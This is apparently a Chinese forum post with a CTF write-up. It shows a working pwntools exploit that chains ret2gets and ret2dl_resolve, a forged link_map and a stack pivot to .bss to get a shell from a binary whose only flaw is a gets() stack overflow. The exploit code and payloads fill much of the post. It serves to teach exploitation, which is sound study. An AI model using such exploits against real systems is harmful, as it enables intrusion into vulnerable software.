首页
社区
课程
招聘
[原创]仅有gets栈溢出漏洞的攻击方式
发表于: 6小时前 106

[原创]仅有gets栈溢出漏洞的攻击方式

6小时前
106

引言

在ret2dl_resolve的经典题中,经常会以read为输入参数,并且在x64架构中还会给出控制rdi等寄存器的gadget

当输入参数为gets时,结合ret2getes可以实现无需控制rdi寄存器的gadget即可控制rdi寄存器,最终实现getshell

这里以一道CTF题目为例子

源码

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
 
void stack_overflow()
{
    char buf[0x40];
    gets(buf);
}
 
int main(){
    stack_overflow();
    return 0;
}

编译

1
gcc -o pwn ./pwn.c -no-pie -fno-stack-protector

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
 
filename = './pwn'
context.arch='amd64'
elf = ELF(filename)
libc = elf.libc
 
p = process(filename)
 
def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
    linkmap = p64(offset & (2 ** 64 - 1))
 
    linkmap += p64(0)
    linkmap += p64(fake_linkmap_addr + 0x18)
 
    linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
    linkmap += p64(0x7)
    linkmap += p64(0)
 
    linkmap += p64(0)
 
    linkmap += p64(0)
    linkmap += p64(known_func_ptr - 0x8)
 
    linkmap += b'/bin/sh\x00'
    linkmap = linkmap.ljust(0x68,b'A')
    linkmap += p64(fake_linkmap_addr)
    linkmap += p64(fake_linkmap_addr + 0x38)
    linkmap = linkmap.ljust(0xf8,b'A')
    linkmap += p64(fake_linkmap_addr + 0x8)
    return linkmap
 
gets_got = elf.got['gets']
l_addr =  libc.sym['system'] -libc.sym['gets']
plt_load = 0x401026
gets = elf.plt['gets']
 
 
bss = 0x404030 + 0x700
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)
 
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100,b'\x00')
payload += fake_link_map
p.sendline(payload)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')
p.interactive()

解题思路

从源码上看,这道题仅有一个gets函数的栈溢出漏洞,没有输入函数,也没有能够控制寄存器的gadget

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
 
void stack_overflow()
{
    char buf[0x40];
    gets(buf);
}
 
int main(){
    stack_overflow();
    return 0;
}

并且没有能够输入伪造linkmap的地方,但熟悉x64架构的应该会联想到在read、gets等输入函数是通过[rbp+var_40]类似汇编来实现输入位置参数的传输的

在这道题中就是

1
2
3
4
5
6
7
8
9
10
11
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 40h
lea     rax, [rbp+var_40]
mov     rdi, rax
mov     eax, 0
call    _gets
nop
leave
retn

也就是说,凭借一个栈溢出漏洞即可控制rbp使其指向bss段,接着输入输入伪造linkmap

当然,这里也会导致一个问题,那就是两次的leave ret会造成栈迁移到bss段上

所以当我们输入第二次payload进行ret2dl_resolve时要注意布局

这是第一次payload,控制了rbp为bss+0x40,并且将返回地址填充为[rbp+var_40]那部分汇编,使得能够输入伪造结构体到bss段

1
2
payload = b'a'*0x40 + p64(bss + 0x40) + p64(0x401142)
p.sendline(payload)

这里的fake_link_map可以跟第二次payload一起输入,这里的fake_link_map直接用网上找到的模板即可

1
2
3
4
5
6
7
8
bss_stage = bss + 0x100
fake_link_map = fake_Linkmap_payload(bss_stage, gets_got ,l_addr)
payload = b'a'*0x48 + p64(gets) + p64(plt_load) + p64(bss_stage)
payload = payload.ljust(0x100,b'\x00')
payload += fake_link_map
p.sendline(payload)
p.sendline(b'/bin'+p8(u8(b"/")+1)+b'sh\x00')
p.interactive()

最终依靠ret2gets控制rdi寄存器为指向/bin/sh的地址即可通过ret2dl_resolve实现在仅有gets栈溢出漏洞的情况下getshell


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 5小时前 被clxhzg编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回